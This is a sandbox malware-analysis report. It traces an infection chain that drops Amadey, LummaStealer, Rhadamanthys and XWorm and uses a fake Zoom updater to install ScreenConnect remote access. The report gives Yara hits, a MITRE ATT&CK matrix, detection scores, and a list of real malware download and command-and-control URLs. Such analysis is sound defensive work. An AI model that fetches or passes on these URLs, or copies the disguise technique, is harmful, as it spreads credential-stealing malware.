Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016275001\e953dd76d3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016275001\e953dd76d3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016276001\a8e958d3ab.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Queries volume information: C:\Users\user\AppData\Roaming\X91lnt.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.WindowsInstaller.dll VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.InstallerActions.dll VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.Core.dll VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Core.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Client.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Client.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Core.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Queries volume information: C:\Users\user\AppData\Roaming\X91lnt.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Queries volume information: C:\Users\user\AppData\Roaming\X91lnt.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe

Code function: 19_2_051613C0 CreateNamedPipeW,

19_2_051613C0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_002FCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_002FCBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_002E65E0 LookupAccountNameA,

6_2_002E65E0

Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe

Code function: 19_2_017D4C67 RtlGetVersion,

19_2_017D4C67

Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies security policies related information

Source: C:\Windows\System32\msiexec.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa Authentication Packages

Source: software1.exe, 00000007.00000002.2975928910.000000001B289000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.skotes.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1786642857.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1783199135.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1752435441.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2295879055.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1742814357.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1746425189.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1711767509.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000032.00000003.2771544130.0000000003250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.2774274912.0000000005590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected XWorm

Source: Yara match	File source: 7.0.software1.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2972499104.0000000002621000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.2396214625.00000000001E2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: skotes.exe PID: 7624, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: software1.exe PID: 7804, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\X91lnt.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe, type: DROPPED

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000032.00000003.2771544130.0000000003250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.2774274912.0000000005590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected XWorm

Source: Yara match	File source: 7.0.software1.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2972499104.0000000002621000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.2396214625.00000000001E2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: skotes.exe PID: 7624, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: software1.exe PID: 7804, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\X91lnt.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe, type: DROPPED

Source: Yara match	File source: 12.2.ZoomUpdateInstallerFull.exe.5660000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.ScreenConnect.WindowsClient.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.ZoomUpdateInstallerFull.exe.785db0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.ScreenConnect.WindowsClient.exe.2eafa10.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.ZoomUpdateInstallerFull.exe.75c3d4.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.ZoomUpdateInstallerFull.exe.5660000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.ZoomUpdateInstallerFull.exe.6d63d4.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.ZoomUpdateInstallerFull.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2569883580.0000000005660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.2600360439.00000000009E2000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2573853588.00000000064B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2974697720.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2561955372.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZoomUpdateInstallerFull.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 1928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 1460, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\~DF57056AEEE3BBD202.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Installer\inprogressinstallinfo.ipi, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DF9BE0A48E8820FB86.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DF4E5797442E708356.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DFC05B8470E789E83F.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DFBA545A41CE89C3A1.TMP, type: DROPPED
Source: Yara match	File source: C:\Config.Msi\62bf7b.rbs, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DFC668883F19D1839B.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Installer\MSIC324.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ZoomUpdateInstallerFull[1].exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Valid Accounts	11 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	121 Input Capture	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	1 Replication Through Removable Media	11 Native API	1 DLL Side-Loading	1 Component Object Model Hijacking	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	121 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	112 Command and Scripting Interpreter	1 Component Object Model Hijacking	1 Valid Accounts	3 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	1 Valid Accounts	1 Access Token Manipulation	32 Software Packing	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	2 Windows Service	2 Windows Service	1 DLL Side-Loading	LSA Secrets	337 System Information Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	11 Scheduled Task/Job	213 Process Injection	1 File Deletion	Cached Domain Credentials	1061 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	21 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	22 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	21 Registry Run Keys / Startup Folder	1 Valid Accounts	Proc Filesystem	361 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	361 Virtualization/Sandbox Evasion	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	213 Process Injection	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Users	Keylogging	1 System Network Configuration Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Rundll32	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	53%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe	100%	Avira	HEUR/AGEN.1305769
C:\Users\user\AppData\Local\Temp\1016276001\a8e958d3ab.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	100%	Avira	HEUR/AGEN.1305769
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016276001\a8e958d3ab.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016275001\e953dd76d3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Client.dll	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.dll	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Core.dll	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Windows.dll	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsAuthenticationPackage.dll	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsBackstageShell.exe	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsCredentialProvider.dll	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsFileManager.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ZoomUpdateInstallerFull[1].exe	18%	ReversingLabs	Win32.PUA.ConnectWise
C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	18%	ReversingLabs	Win32.PUA.ConnectWise
C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1016275001\e953dd76d3.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.Compression.Cab.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.Compression.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.WindowsInstaller.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.Core.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.InstallerActions.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.Windows.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	67%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	67%	ReversingLabs	Win64.Trojan.Nekark
C:\Windows\Installer\MSIC335.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIC587.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
https://sperviele.work.gd/software1.exei	0%	Avira URL Cloud	safe
https://fahrerscheinonlineholen.de/m#	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe5l9	0%	Avira URL Cloud	safe
https://fahrerscheinonlineholen.de/elrata/ZoomUpdateInstallerFull.exe	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe60ac02b4ded8abeee1fbde719b5059bb029	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique3/random.exe	100%	Avira URL Cloud	phishing
http://instance-m858nm-relay.screenconnect.com:443/p--6	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe1aam	0%	Avira URL Cloud	safe
eur-automatically.gl.at.ply.gg	100%	Avira URL Cloud	malware
https://fahrerscheinonlineholen.de/y#	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe60wm	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe1	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exed	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe6	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe1r	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe7d	0%	Avira URL Cloud	safe
https://sperviele.work.gd/9	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe1~	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe1m=	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exees/unique1/random.exe	0%	Avira URL Cloud	safe
https://sperviele.work.gd/software1.exe:	0%	Avira URL Cloud	safe
http://instance-m858nm-relay.screenconnect.com:443/d	0%	Avira URL Cloud	safe
http://instance-m858nm-relay.screenconnect.com:443/f	0%	Avira URL Cloud	safe
